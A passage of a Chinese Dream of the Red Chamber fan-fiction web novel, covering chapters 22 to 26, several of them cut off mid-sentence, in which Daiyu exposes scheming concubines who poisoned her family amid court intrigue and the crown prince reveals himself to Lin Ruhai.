柳姨娘,原名玉貌,她远在京城贾府的父母谢世后,便在江南拜了一位杨氏干娘,杨氏是从永安宫里放出来的嬷嬷,如今在江南甄家做甄家二小姐的教引嬷嬷。柳玉貌常与干娘书信往来。 陈姨娘,小名纸鸢,她母亲张嬷嬷是林老夫人的陪房,生养过一儿一女,儿子陈虎少小走失,张嬷嬷也早已淡忘前尘,把儿子抛过,余生只指望着女儿过活,如今荣养在府外四九巷里。陈姨娘出府接触最多的人就是自己的母亲。 而照雪按理说算不上家生子,她们一家子的来历,则与黛玉早夭弟弟有关。黛玉两岁那年母亲生下了一个弟弟,奈何阖府家生子里,恰无合适的妈妈做乳母,只得外聘。 照雪原姓韦,她两岁进府前,韦母刚产下一子,即是她的弟弟长风。寡母带着两个孩子风餐露宿,生活困顿,闻得盐政老爷欲聘奶娘,便当街拦马谋请进来。贾敏见怜,愿意收容他们,林如海便与她们一家三口签了死契。 谁知韦母将林家嫡子养到半岁,出一趟门就莫名淹死在河中,两三年后林家嫡子也夭折了。五岁的照雪与三岁的长风,只得继续依附林家过活。姐弟二人虽不是家生子,实际上也如家生子一般了。 照雪的弟弟长风长大后擅养马又苦学武艺,三年前被开恩放了出去,往北方贩货行商做些买卖,这两年岁末都有回林府拜望旧主,探望妹妹。 “姑娘早些休息吧。”雪雁拿着剪筒过来剪蜡花,见黛玉沉思默默,神疲气短,连忙帮她披上了狐裘,又怕她不肯睡,忙道:“待会儿晴雯姐姐栉沐回来,若见姑娘还在熬神,一定会骂人的。” 黛玉拢了拢肩上的狐裘,含笑道:“你倒是怕起她来,平日里在我跟前,也没见你这么乖。” 雪雁歪头道:“我知道晴雯姐姐是极好的人,可也不知怎的,见了她,就觉得我心里有什么话,她都知道,半点不敢瞒哄。” “这倒也是,她赤子心性,待人以诚,也希望别人以诚待她。”黛玉笑了笑,以手支颐问雪雁:“你妈妈是府里得脸的管事妈妈,又最健谈,平时多与陈姨娘、照雪她们打交道,你妈妈觉得她两个为人如何?” 雪雁想了想说:“我妈说陈姨娘,就是鸢姐儿,一直被张嬷嬷养到十六岁,又请女先生讲课,又是请梳头娘子改妆,既不放她进府伺候主子,也不打发她出嫁。硬是把女儿逼成了能写会算,知书达理的才女,那脸、那身段、那谈吐都是比着老夫人的喜好来的,明晃晃地就是要争姨娘。照雪姐姐从小到大都是美人坯子,可惜她爱东游西逛,寻张觅李,嘴又碎,老爷定是嫌她不够稳重,才不封她做姨娘。” 一番话尽是稚子口吻,可是 22. 春绾晴黛第二十二回 《[红楼]春绾晴黛》全本免费阅读 禁廷卫职替缉事厂,霁红釉牵出霸州匪 黛玉满腹狐疑,又深知父亲所顾虑的事,一定牵涉甚多,她只得按捺住心底的不甘,依照父亲的意愿处理这桩事。 而林姑娘已经发现疑凶的事,章明及时报给了府外的太子。 禛钰双手负后,感慨道:“巡盐御史的位置,远不像表面上那么风光,牵涉到江南官场的倾轧、世家利益的勾连,甚至还有皇室机密,官匪斗争。我看林府的几个姨娘都不是简单角色,眼下林姑娘最缺的是可靠人手,你不防主动请缨协助一下。” “是!”章明应声,正待回林府时,又被太子叫了回不来。 “等等!”禛钰食指蜷起,敲了两下桌案,若有所思地说:“林姑娘吩咐的事,你叫旁人去查便好,之后你快马加鞭去趟姑苏林氏祖坟,亲手把贾敏的棺木打开核验。” 章明一脸惊惶,张口结舌地说:“难、难不成……主子要我将贾敏的遗骸挫骨扬灰?” 禛钰伸掌覆在他的头顶,往下猛地一摁,振声道:“孤怀疑贾敏和林家夭折的幼子,也是被人害死的。” 第二天章明回到林府,依照太子的吩咐,主动向黛玉自告奋勇道:“林姑娘,我们兄弟几个在这里待着也是无趣,如果您有什么要我们出门查办的,尽管吩咐。” 黛玉正求之不得,也不客气,直接说了三件事:其一查陈姨娘的母亲张嬷嬷,当年走失儿子陈虎的下落;其二了解照雪哥哥长风在外做的什么生意;其三查一查江南甄家的那位宫里出来的教引嬷嬷,是不是太上皇的人。 听到林姑娘如此明确的缉查方向,章明便是黛玉已经洞见此案症结所在,只缺证据而已,他故作为难道:“姑娘这是把我们当成缉事厂的缇骑了,小的们恐不胜任,误了姑娘的要事。” 黛玉笑道:“章侍卫是从宫里出来的大内禁卫,论本事可比刑司番子要强上百倍,我要查的这三件事,于你们而言,都是小菜一碟,是你毛遂自荐在先,眼下又何必作态拿乔。” “姑娘句句都是好话,我怎么听得字字刺儿尖呢。”章明总算是领略了一点太子的烦恼,这姑娘精明极了,在她跟前一点儿马虎眼儿都打不得。 事实证明,章明的办事能力的确可靠,不到四天功夫,所有疑团蹊跷就都水落石出了。 拿着一摞陈年证物,黛玉眉头蹙起,神色颇为沉重,这桩案子的背后牵扯的黑洞之深,远超她的想象。她又花了一天功夫梳理各种线索,与父亲协商该如何安排布局。 明日就是除夕了,黛玉选在除夕的前一天,决心将六年来笼罩在林府上空的阴霾一扫而空。 腊月二十九日,小年夜,林府中众仆忙着筹备年节祭品。家主林如海挪到了内院,还在闭门诊疗中,除了偶尔传出来的咳嗽声,谁也窥不见他的面。姨娘们在门口徘徊问候了下,就都回去了。 事实上,自从夫人贾敏去世,林姑娘投奔外祖,林如海的身子就每况愈下,几个姨娘也跟着失了宠,在寂寞空庭中无所适从。 柳姨娘好弄权揽事,一门心思攀高望上,喜欢交际应酬待客周旋。陈姨娘恋母,有事没事回娘家坐坐,一待大半天。而照雪就只在府中游逛,四处闲坐漫话。 小年夜这天傍晚,林黛玉召集众姨娘商讨除夕家宴安排及初一拜年的人情客礼等事。 大家都不疑有他,忙完了手头上的事,就一同去了黛玉会客的小花厅。 甫一进门,姨娘们就觉得气氛不对。 只见黛玉梳了倭堕簪凤髻,身穿妃红花蝶流水妆花织金缎袍,独坐的大案后,一脸霜色地望着她们。 柳玉貌最喜插科打诨,为解尴尬,笑道:“若不是姑娘花厅上挂了清漪轩的匾,我还以为上面悬的是明镜高悬,下头坐的是包青天呢。” 黛玉冷笑:“我倒是想做黑包拯,只可惜没个好帮手做御猫哩。” “姑娘真真诙谐,竟拿姨娘的名字打趣。”柳玉貌一时想不通,林姑娘葫芦里卖的什么药,又见她意兴索然,身边一个丫鬟也不在,必有要紧事说,再不敢妄言一句,只得闭了嘴。 陈纸鸢面上平静无澜,对黛玉说:“姑娘叫我们来,要商量什么事,只管跟柳姐姐说就是了,我又不大管闲,必是一问三不知的。” “我单是话多,却不能拿主意,一切事姑娘还是按自己心意办好了。”照雪也开口道。 黛玉莞尔一笑:“诸位请坐喝茶,我不过是回家路上有了些小见识,请你们来听一桩奇闻异事。” 照雪才一坐下,就支起身子问:“什么奇闻?” “我们的船到淮阴地界,遭遇了霸州响马,幸而王太医身边的大内侍卫大显身手,将那群劫匪尽诛了。”黛玉说完,抬眸看向照雪。 只见照雪恍如听了个焦雷,蔫头蔫脑地瘫坐回椅子上。 陈纸鸢愕然道:“那些人都死了?” 黛玉冷然道:“若是一般流民,有贼匪胁迫附逆的,或还恕得。可是这些人,都是义忠亲王当年谋叛的残部。逆臣贼子,没有生路可言。” 三年前义忠亲王谋逆,挥军南下,声势浩大,几任征讨大将北上迎敌竟莫能挡。眼见叛军近逼京城,皇帝禅位出逃,独留太子应敌。 最后太子领兵大败叛军,保境息民,而后整顿乾坤,荣登大宝,这才将太上皇迎回皇宫。 陈纸鸢与照雪对视一眼,蓦然揪紧了衣襟,不敢看黛玉的眼睛,唯恐被她窥见什么秘密,恐惧油然而生,顿了半晌,才抖着嗓子说:“真是可怕。” “那些大内侍卫剿匪立功,回去必将官升一级了。”柳玉貌摆出一副与有荣焉的样子,心里琢磨着要如何款待这些侍卫。 照雪扶椅起身,好半天才找到自己声音说:“大姑娘,我身上不爽利,容我先告辞罢。” “你且等一等,我还有话问你。”黛玉眉头微蹙,出声拦住她:“你可知霁红釉是前朝皇室祭祀之器,当年烧坏的霁红釉均需销毁,民间片瓷不存。此物若现人前,只能说明皇陵被人盗掘,亦或者有人伺机谋反,以此物证明自己为皇族遗脉。也不知你弟弟长风,打的是哪个主意呢。” 这话一出,照雪浑身上下便不可抑制地抖了起来,颊上的胭脂红,也逐渐掩盖不住一张煞白的脸。 她彻底慌了神,猛地摇头道:“我不知道,我哥哥只是出门做生意,他大字不识一个,又怎么知道这东西的来历,只当好玩就送进来给我用。” “我们真的什么都不知道……”照雪见黛玉面无表情,眸色凛然,又求助似地看向陈纸鸢,陈纸鸢却像是不认识她一样,扭过头去。 柳玉貌指着照雪的鼻子,跺脚尖声道:“你哥哥莫不是跟义忠王逆党做的生意!你这是要害死我们林家吗?” 照雪依旧摇头强辩:“我哥没有,我什么都不知道。” “你果真什么都不知道么?”黛玉嘴角露出一丝冷笑,目光越来越沉,“这府中上下你都游荡勘探过了,除了历年盐课账目和库藏钥匙放在何处你不知道,其他的,就没有你不知道的吧。” 照雪登时哑言,转瞬她的眼神中迸射出狠厉之光 23. 春绾晴黛第二十三回 《[红楼]春绾晴黛》全本免费阅读 通关窍智计断公案,涉前尘无奈埋真相 黛玉此时有一瞬间的犹豫,耳边又响起父亲说的前尘往事,那些关于母亲经受的不为人知的羞辱与伤害,在两相对峙的当下,更是一种锤心刺骨的痛。 她终究还是缓缓地抬起眉睫,目光在光影斑驳中望向堂下满目狐疑的女人。 “劝照雪娘出府为亡夫到河边烧纸的人是你,为我弟弟治病的庸医,是你的干娘杨嬷嬷举荐的。而你呢,趁着我母亲缠绵病榻伤心欲绝之时,成了我父亲的姨娘。” “冤枉冤哉啊!姑娘这样疑我,是把我当成了那猪狗不如的人么!” 柳玉貌从椅子上弹起来,急切地为自己辩解:“当初姑娘落草,体弱多病日夜不宁,是妾婢衣不解带地守着你,为你换尿布,缝衣裳,哺汤喂药,妾婢照顾你一天天长大,何曾对不住你,对不住太太? 太太丧子悲痛,想着林家数代单传,子嗣不丰,才硬给我开了脸伺候老爷。而况史太君派我跟着太太,为的就是在她身子不方便时伺候老爷。妾婢去了老爷那里,他也未有推拒,玉貌若有半句虚言,天打五雷轰。” 柳玉貌说得越发激动,不惜跪下地来赌咒发誓,用各种看似合理的理由,证明自己的无辜。 黛玉瞥了她一眼,只道:“你可不是小人物,我父亲哪敢推拒你。” 杨嬷嬷出自甄太妃的永安宫,永安宫的背后是上皇。柳玉貌早就背叛了外祖母,背叛了黛玉的母亲,投靠了上皇。 上皇不满父亲林海将征缴的税银悉归国库,而没有充实他的私库。所以才借柳玉貌之手,勾连江南地方利益受损的官吏,害死了黛玉的弟弟,以示威慑。 父亲不得已奉献林家一半家私给上皇,又将柳玉貌纳了,施以恩宠。以为这样上皇就会饶恕林家,柳玉貌就会收手,如此至少能保住妻子的性命。 而柳玉貌呢,痴心妄想,想气死主母取而代之。当贾敏意识不清的时候,柳玉貌每日装模作样地侍疾喂药,一面将子虚乌有的承宠秘事,对着主母的耳朵,添油加醋绘声绘影地讲给她听,只把她恨得倒气连连,喉中嗬嗬,抓破了几床褥子。 黛玉明知若将这些话宣之于口,就能活撕了柳玉貌的面皮,教她再也没脸活在世上。然而为了母亲的名誉和尊严考虑,她选择了缄默。 此时的柳玉貌还在喋喋不休地为自己辩白,黛玉充耳不闻,只将一瓶玫瑰清露摆在了案上,对她说:“柳玉貌,你不但害死了我弟弟,还想害死我父亲。经王正堂诊断,我父亲的病如此之重,是服用了一种名为衔羽藤的东西。而你什锦屉盒里的玫瑰清露,盛装的就是这种东西。真赃实犯,确确凿凿,你还有何话好说!” “什么!”柳玉貌愈加激动起来,又跳又转,电光石火之间急智乍现,“一定是有人诬害我!” 她满眼戾气,目光刺向端坐一旁的陈纸鸢,三两步跨过去,扯住她的发髻,两拳将人搡倒在地,边打边骂。 “好你个陈纸鸢,那玫瑰清露你我各有一瓶。我隔日就饮一口,早没了大半,哪剩这么多。这你必是从外头野男人那里拿了害人的东西,想要药倒了老爷,好与外头的姘夫私奔。你又怕人查出来,就栽赃给了我!” “冤枉!冤枉!姑娘救我!”陈纸鸢从一开始心有余悸的庆幸,到此时衣衫狼狈的难堪,已经说不分明是何心情了。 她顾忌着肚子,又不及柳玉貌悍勇,完全没有招架之力,一张妩媚的脸皮几乎都被她抓花了,而黛玉只顾低头啜茶,丝毫没有劝止的意思。 陈纸鸢被动挨打,涕泪齐下,从最初的放声哀嚎,东滚西爬,到最后蜷在地下嘤嘤啜泣,裙下一片殷红。 “骚狐狸可算露了马脚!”柳玉貌眼眸一亮,直起身子,将汗湿的头发捋到耳后,呼出一口浊气,对着案上的黛玉说:“姑娘,你瞧见了,她小产了。老爷生病卧床半年多,她赤眉白眼的哪来的孩子!从前我就疑心,她年底总爱往家里去,一旬不到,她娘的病就犯了三五回,一回去就是大半天,谁知她不是回家探病,而是与姘头相会去了。” 此时狼狈万状、言辞粗鄙的柳玉貌,与她往昔精心装点、勉力维系的知礼贵妇形象不啻天渊。可见她狗急跳墙,为了活命,先前惜之如命的脸面体统,全然顾不上。 “陈姨娘只是来癸水了,世家贵妾自有规约,无凭无据,岂容你一个凶嫌诬指攀咬。” 黛玉瞥了柳玉貌一眼,手指把着玫瑰清露的螺丝银盖,并无丝毫动容,一副摆明了不信嫌犯的态度。 柳玉貌急了,揎拳掳袖起来,指着地下的陈纸鸢说:“姑娘年纪小,我本不该当着你的面揭了她的面皮,没得污了小姐的耳。 只是我祸迫眉睫,也顾不得许多了,这就将她的所作所为讲给姑娘听。还请姑娘明察秋毫,还我清白。” 缩在地下久久无声的陈纸鸢终于抬起头来,断断续续地说:“妾身……就是来癸水了!不过是……提前、提前了三五日罢了!” “你休要狡辩,只管叫姑娘把你那贪财无耻的老娘抬上来,问一问她卖了几回炕,拣了几个新女婿,什么事都分明了。” “闭嘴!我又不是县令判官,又没私设公堂,又未动刑拷讯,你们与我花掰什么,我不听那些污言秽语的话。” 黛玉扶案站起,携了玫瑰清露的瓶子,款款下座,伸指点着她二人说:“谋害朝廷命官罪无可恕,我只负责将凶嫌罪证移交上去,你们孰是孰非,三曹对案时再申辩罢。” 吱呀一声,黛玉推门离去,反手翻出铜锁,将小花厅给锁了,徒留她们两个在里面继续撕扯。 “好一出狗咬狗,林姑娘掌握的证据那么多,却还揣着明白装糊涂。这份精明缜密简直与林如海一脉相传。”章明趴在屋顶上窥听了这么久,心下叹服不已,忍不住拍了一记大腿。 这案子深挖下去,牵扯甚广,到此为止,既拔出了府中的钉子,又掩盖了皇室辛秘,只把难题抛给两个皇帝博弈去。 怪不得其他巡盐御史干不了三五个月,不是祈请调任,就是摘冠装病,也有胆壮气硬被人谋杀的,也有怯弱贪心同流合污的,唯有林御史清清白白,生生抗过了六年。 上皇放在他家里的耳目和把柄,反成了他的护官符和挡箭牌。只可惜人心险恶,防不胜防,他还是没能护住自己的妻子和儿子,只有林姑娘因远徙京城被史太君庇护,才幸运地活了下来。 章明感慨完,又将林姑娘“断案”的事,一五一十地讲给了太子听。 起先禛钰皱着眉头听,到最后渐渐眉宇舒展,禁不住拍案叫绝:“这一招樽俎折冲,引鹬争蚌真是厉害!” 且不说那柳玉貌是上皇安插在林如海身边的钉子,那陈纸鸢的身份就更是不可轻泄的秘密。 二十七年前,四王八公追随太上皇南征北战,终于灭逐前朝,一统中原。太上皇也应天承命继承了大统,只是他那年春秋鼎盛,血气正勇,强占了有天下第一美人之誉的前朝公主嵯峨。 24.春绾晴黛第二十四回 《[红楼]春绾晴黛》全本免费阅读 回姑苏贾瑚变疯虎,上京城纸鸢成死鹓 八年后,二十二岁的林如海高中探花,距离观政朝试还有半年时间,大登科后小登科,林如海也奉母命,筹备在故乡迎娶荣国公的掌上明珠贾敏为妻。 上皇暗想鹓鸾公主如今为林家奴,倘若将来能为林海妾,说来也不算辱没了帝女,恰好张嬷嬷也是这般为养女考虑的。 荣国府这边,贾代善也让长子贾赦打点行装,先送贾敏的嫁妆下姑苏,与林家商议婚事。贾代善犹记得当年与张氏的约定,吩咐贾赦将长子贾瑚一并带到林家去。 彼时丧妻数年的贾赦,早已续了二回弦,头一个继室为他生下了次子贾琏后,又蹬腿去了,算来贾琏也只比贾瑚小两岁。 因贾瑚眉眼与亡妻张氏颇为相似,他开口说话又迟,贾赦及贾家众人也不曾怀疑过他的身份。 贾代善虽不情愿一个外姓人做了嫡长孙,为了脸面好看,也没将他的奴才身份透露给旁人知晓。只有年满十岁以上的贾氏子弟才上族谱,倒也不必先籍录嫡长子之名。 为了避免将来承爵争议,贾代善只把贾瑚的真实身份告诉了夫人史氏。 然而等到贾赦带着贾瑚来到林家,张嬷嬷看到金尊玉贵的小公子,面貌端雅,体格康健,喜得浑身发颤,又是设法亲近,又是百般讨好。 贾瑚正是招猫逗狗玩心大的年纪,哪里耐烦敷衍一个喋喋不休的妇人。这位心烦气躁的小少爷,伸脚就踢了过去,将张嬷嬷揣了个倒仰。 起初张嬷嬷还不以为意,认为大家公子举止骄奢,行事刚硬,能够钤压得住人,是极有气度有胆魄的好事。 直到贾瑚当着一群小厮的面,辱骂跪在地上的她道:“哪来的腌臜婆娘,愚奴贱婢也赶上来爬小爷的高台盆,也不撒泡尿照照,看自己配不配。”说着他还当着她的面解手撒尿,呲得她一头一脸。 张嬷嬷脸上精心涂抹的脂粉,霎时化作了涩臊的泥浆,她满心委屈愤怨,登时泪如雨下,嚎哭着扭身逃走了。 她回到自己的下处,越想越怄,自己为了那孽障为奴为婢含辛茹苦,而陈虎呢?在国公府里吃香的喝辣的,安享富贵荣华,自己身为亲娘什么好处没捞到不说,还要忍受他暴筋瞪眼的摔打辱骂,不孝亲娘,天理不容! 张嬷嬷洗过澡换过一身新衣,翻拣出当年养儿子的襁褓、银锁、寄名符等物,贿赂了几个贾府的丫鬟,偷摸溜进了贾瑚的房间。 面对张嬷嬷拿出一桩桩一件件证物,一开始贾瑚还矢口否认,叫嚷着她是疯子,直到张嬷嬷准确地说出他头顶有三个旋,右腋下有两颗红痣,背后有块铜钱烧疤。 贾瑚这才慌了,他光脚下床想要逃出去,结果被张嬷嬷捉住圈在怀里,又是锁抱,又是亲吻,又是儿啊肉啊的乱叫。 张嬷嬷强行搂着儿子唧唧歪歪地讲了大半夜的往事,贾瑚被迫听着,撑不住睡了,才把这荒唐又惊悚的一夜混捱过去。 然而这一切都不是梦,贾瑚就在接连的惊吓中病倒了。张嬷嬷又自恃积年嬷嬷的身份,轻而易举地摆弄了贾府那几个偷闲贪玩的小厮丫鬟。 她有空就陪坐在贾瑚枕边,在他耳边叨叨:“儿呀,你认不认我都是小事,只一点你要明白。如今你的身世只有荣国公知道,除非你先弄死了那老货,再弄死你弟弟贾琏,那荣国公的爵位、祖产才会是你的。 否则你什么也得不到,就会回到我身边为奴为婢,在贵人跟前鞍前马后、点头哈腰一辈子。你若不想当狗叫唤,就得骑到人头上去。” 贾瑚在张嬷嬷的“悉心”教导下,终于接受了他残酷的命运。他从小长在福窝子里,衣来伸手饭来张口,听着一茬茬的奉承话长大,早就沉溺在富贵浮华中不能自拔了,哪肯回头再吃下人的苦。终于他开了窍,学会了虚与委蛇,假意与张嬷嬷亲近起来。 在贾赦忙完正事,即将回程的前一天,贾瑚让张嬷嬷陪他逛园子,趁张嬷嬷背对着自己的时候,猛地将她从凌云亭上推了下去。 张嬷嬷从高处跌落在乱石堆中,当即晕了过去,浑身是血。 贾瑚惊惧万分,捂着嘴挣命似地逃到贾赦身边,吵嚷着要回京城,这林家他是一刻也不肯多待了。 他不是三岁小童,心知要谋杀能征善战的国公爷何其艰难,与其杀害让自己脱离苦海的救命恩人,不如让这个不该存活的生母永远消失。 然而少年脆弱的内心根本担不起戕害母亲的负罪感,他躲在回京的船舱中寝食难安,噩梦连连,终于撑不住晕倒了。 他梦见张嬷嬷摔死了,满脸血色地向自己索命,又梦见她搂抱着自己,说些强迫他杀人的话。只是他不知道梦中胡话说久了,会被有心人听出端倪。 贾赦叫来随行的小厮丫鬟询问贾瑚这几日的事,大家七嘴八舌的说了一通,又说不出个所以然来,只当他年小眼净撞客了什么邪祟。 贾瑚本就惊惶不安,哪里还经得起父亲的“咄咄逼问”,他唯恐自己被“父亲”厌弃,一味否认抵赖,扯谎间又带出许多不为人知的细节。 然而贾赦是个糊涂的,并没有深想,倒是他手底下的奴婢从最初的三分狐疑,更疑了七八分。 小孩的心性最为敏感,听到小厮丫鬟们交头接耳的议论声,看到众人对自己侧目而视的神态,让贾瑚意识到也许父亲已经不信他了。 他从最初的惶恐到此时的彷徨,一想到回京要面对的种种难堪与痛责、羞辱与欺凌,从天堂跌落地狱的落差,一切的一切他都无法忍受。 茫然间走到船头,看着一望无际的长河,绵绵无期的怨与恨、痛与悔、无助与孤独、悲怆与迷惘,都在眼前心头无限翻滚,如巨大的漩涡将他卷纳其中,一失脚就跌了进去…… 虽然小厮七手八脚地将他打捞了上来,可是他的人早已飞了三魂,丢了七魄。回到国公府后,贾瑚就已经彻底疯了。 荣国公贾代善不免感慨:到底是官奴之子,担不起泼天富贵,反倒折了福寿。便让人将贾瑚放到乡下庄子,当活死人圈养着。 而从地狱里爬回来的张嬷嬷,还坚强地架住双拐,扶着头上的纱布,悠悠淡淡地笑。她的儿子算是废了,可她还有个容貌倾城的养女,一个能生金蛋的凤凰。 张嬷嬷并不知道陈纸鸢的真实身份,只当是大户人家的千金做了未婚先孕的丑事,撇下孩子寄养在她这里。 养女最初被别人豢养的八年,性子养得娇怯乖懦,美则美矣却目不识丁,上不得台面。 张嬷嬷为了扭正陈纸鸢的性子,颇费了一番心 25.春绾晴黛第二十五回 《[红楼]春绾晴黛》全本免费阅读 除夕夜劫后开家宴,霜见月先妣化尘土 转眼就是除夕了,王君效那边也终于传来了好消息。 林御史体内的毒全部拔除了,虽则身体仍虚,但白天已不必卧床休息,可以在院中活动了。 一大清早,黛玉就指挥领着一众仆妇丫鬟,在府中各处忙碌,悬挂纱绫彩灯,安设佳卉盆景,鼎焚清逸之香,瓶插凌寒之花,四处帘飘绣带,遍地毯铺鱼濑,展眼望去整个林府花彩缤纷,馥郁温香,可谓气象一新。 “父亲,你瞧还有什么遗漏不当之处?”黛玉忙活完,扶着父亲在园中漫步。 林海心知女儿自一回家就施谋用智,与姨娘们千般周旋,颇耗心神。如今又赶忙张罗除夕之庆,看着女儿纤弱的身姿,略显疲态的眉眼,林海不由目露亏欠之意,对女儿说:“已尽善矣,你连日辛苦,还是早点去休息,待到酉时我再请人叫你。” “我还想多陪陪父亲……”话未说完,黛玉忍不住掩嘴打了个呵欠,一时羞赧,垂头不语。 林海此时的心,如被东风拂过,无比柔软,爱怜地抚了抚黛玉的头,“父亲的病已经无大碍了,家宴这等小事还料理得开。来日方长,何惧父女片刻不见,你先去歇一歇吧。” 黛玉见一身疲惫实在遮瞒不过,只得别过父亲回房休息了。 她于枕上长思,父亲整日与虎狼周旋,接连夭子丧妻,依旧不肯向群魔低头,为了她的安全着想,将她送往京城外祖家寄养。 而她别父离京这些年,父亲独自一人在扬州苦撑,既要补足亏空的官帑税利,又要应对皇位更迭带来的官场变化,还要忍受着身体上的病痛,何其艰难。父亲硬是坚持数年将淮扬盐政的窟窿给补上了,又多方斡旋,优抚恤下,才换来输纳征解一切照旧。 然而他身边的女人,却个个来历复杂,居心叵测。为了谋求一己之私,通匪援外,藏贼引奸。幸而这些毒妇恶女,都被一网打尽,她再也不必为父亲担惊受怕了…… 黛玉如是想着,合上眼沉沉睡去。 院外,林海只是简单吩咐了管家万隆几句,就径直进了书房。 他卧病这些日子,也不知这里被多少人翻过。据女儿透露,陛下有派钦差大臣在淮扬地界梭巡,通过近几日的邸报也可以看出,无论漕运还是盐政,江南官场震动不小,丢乌纱掉脑袋的大有人在,足见钦差手腕强硬,威武不屈。 他在扬州苦撑了六年,接连丧子亡妻,案牍劳形,查访奔忙,早已身心俱疲。如今借陈纸鸢勾结逆党之事,让女儿小试牛刀,以蚓投鱼,将身边耳目一扫而空,虽说情有可原,但毕竟触怒了上皇,还不知上皇及今上两人博弈的结果如何。 为今之计,只能先将数年来稽账所得的证物及库藏之财悉数奉上,才能彻底脱离苦海了。待出了正月,府衙开印,只怕那位神秘的钦差就要找上门了。 而在林府之外的四九巷中,禛钰忿忿地将手中的验状向天一抛。 “她怎么就成了一抔灰!” 见主子怒不可遏的脸,章明只得硬着头皮解释。 当年贾敏病重,柳玉貌只被林海当作管家婆使,半点恩宠也无。她用尽卑劣手段,恨不能叫贾敏气生气死,早日归西,奈何贾敏为了女儿,一天天坚强熬了下来。 柳玉貌坐不住了,只好向干娘杨嬷嬷取经,拿到了上皇赐的皇室秘药枯人草。 禛钰知道,所谓枯人草,是一种杀人于无形的水,但凡人喝了那东西,血肉都会很快被消耗掉,死前瘦成皮包骨的人干。 原本上皇只让柳玉貌徐徐图之,以威胁为主。然而柳玉貌已对旧主动了杀心,直接下到致死的分量。纵使林如海千防万防,贾敏还是不幸中招,日渐消瘦下去。 偏偏那一年,两淮夏泽衍期,麦苗槁死,盐井枯竭,百姓粮食无着,民不聊生。于盐税征赋上实在不利,而上皇又一再催逼林如海缴纳银钱。 那年霜见月,贾敏撑不住了,深知自己行将就木,趁着一时半会儿的回光返照,将柳玉貌的狼子野心、歹毒作为如实写下来,望丈夫林海再三戒防。 身为国公之女,御史之妻,贾敏不忍见生灵涂炭,百姓倒悬,用血书向上皇陈情免赋减税。并把自己嫁妆全部交给丈夫,用以赈灾济困,修筑水渠。辍笔之后当即油尽灯枯,弃世而去。 上皇不啻于被贾敏犯颜血谏,再不好索要钱财。而林御史在接到陛下迟来的解药时,才知道让妻子形容枯槁,气血尽竭的枯人草来自皇宫。为尊者讳,林御史不能让妻子保持枯槁如草的模样下葬,只得将她化成灰了。 “上皇之所以会对贾敏动杀心,恐怕首因还是陛下遏制四王八公的势力,将原先世袭罔替的爵位,逐步改成了降等世袭,甚至身死爵除,以架空上皇之权。此举触怒了上皇,而林夫人贾敏就是陛下鲜为人知的软肋。其次是荣国公贾代善已死,官场上贾家后继乏人,纵知真相,也无人置喙一个外嫁女的生死。上皇一直以来都用贾敏的性命威胁勒掯林海,聚敛钱财以期复辟。 当年陛下得知上皇动用了枯人草谋害贾敏,不惜忍饥挨饿,跑死了三匹马千里送解药,然而还是慢了一步。也正因此事,让皇后悲痛欲绝差点引火烧宫,幸而华光公主来得及时……” 说到这里,章明长叹了一口气,缄口不言。 林夫人贾敏深明大义,为救百姓不惜毁家纾难,血书上谏。然而她特殊的背景和经历,让她被迫不断卷入皇权斗争的漩涡中,她的死是那样的无辜和可怜,又因牵扯到帝后情感,即便她委屈死了,还被叛逆偏激的太子所厌憎痛恨着。 知道这一切前尘往事,禛钰心内五味杂陈,恨又不是,怨也不是,满腹的愤懑、悲怆都化作了拳风,砰的一声砸向桌案。 嘭的一声爆竹响,将黛玉惊醒,睁眼一看,外面已经华灯初上了。她连忙起身更衣,紫鹃和晴雯伺候她梳洗插戴。 在丫鬟们的簇拥下,盛装打扮的黛玉走进了劲诚堂。堂中庭燎透亮,帘飞焕彩,一派璀璨之象。父亲穿了苍青灵芝如意云纹的大氅,手里还抱着暖炉,虽说两颊消瘦,但是双目炯炯,精神极好。黛玉心中大慰,走上前行礼:“父亲!” “玉儿,快起来!”林海爱怜地将她扶起,让她在自己身侧坐了。又对首座的太医王君效说:“今夜除夕,本是团圆之节,正堂大人奉命远涉江南,为微臣治病,如海沐恩日久,感铭五内。大人别宫辞亲,旅居在此难免寂寞。故特具筵席,邀大人一同饮酒守岁,共赴新春。” 王君效爽朗一笑,拱手道:“承蒙御史谬爱,老夫定不拂盛情。只是林大人久病体虚,还请禁酒禁茶。” 26.春绾晴黛第二十六回 《[红楼]春绾晴黛》全本免费阅读 缴账目林父证清白,认表妹禛钰怜无辜 新年正旦,风日晴和,禛钰卯正二刻将已经穿戴整齐,潦草吃过早饭,又漱口洁齿,熏衣染香,整顿得十分新雅飘逸。及至辰时,禛钰方安步当车,踱到林府门前,递上拜帖。 前些日子他微服私访,南巡淮扬,整个江南官场随即风云万变,宦海潮涌。 今日分明是大年初一,林府大门洞开许久,却无人敢串门拜年,想是人人自危,都闭门自守不敢妄动了。 原本王君效刚嘱咐林御史日常饮食细节,听管家来报自己的“曾侄孙”携礼来拜,开口笑道:“曾侄孙冒然干渎,不知林御史肯赐光接见否?” 数日前,林如海只与那位小王公子匆忙一见,形貌不大记得,唯记得他对玉儿说了一句“我帮你”,料想他是个古道热肠的少年。 这才意识到那少年一直住在府外,心内含疚道:“想来是玉儿那天急中疏漏,竟未在府中安排王公子的住处,实在惭愧。” 王君效摆手道:“无妨,他本也要四处游逛,若居府中倒是叨扰了。” “快请小王公子进来!”林海吩咐管家迎客进门。 见到少年上来揖礼,仪表俊逸,林海不由眼前一亮。 那少年披了大红斗篷,里面虽是半新绸袍,然生得玉树英姿,龙角峥嵘,更兼剑眉星目,菱唇皓齿,神情潇洒,器宇不凡。 林海笑道:“某平生未见此等佳郎,今日一见,三生有幸。” “御史大人谬奖,晚生实愧。”禛钰客气了一番,又对王君效说:“我受家父之托,带了一些节礼给林御史并林小姐,还请曾叔祖检点转呈。” 王君效会意,由管家领着出去了,只留他二人在屋内密谈。 林海见他对王君效的态度稍显不恭,难免心生疑窦,一边请他坐下,一边笑问:“贤侄贵庚?拜于哪位名师门下?现下读何书?” 禛钰也不坐,双手负后道:“禛钰虚年十五,家师宋龙门,正读《牧鉴》。” 林海豁然大惊,撩袍便拜,一跪三叩道:“微臣林如海叩见太子殿下。” 宋龙门正是当朝帝师,《牧鉴》又是帝王课目,毫无例外,眼前这位少年只能是东宫储君。当年太子出生后,陛下就以元良储嗣命格特殊为由隐匿其名,朝臣百姓无人窥知,没曾想他竟对自己据实以告。 “林御史快快请起!”禛钰转身将他扶起,仍归首座,自己则坐在客座上。 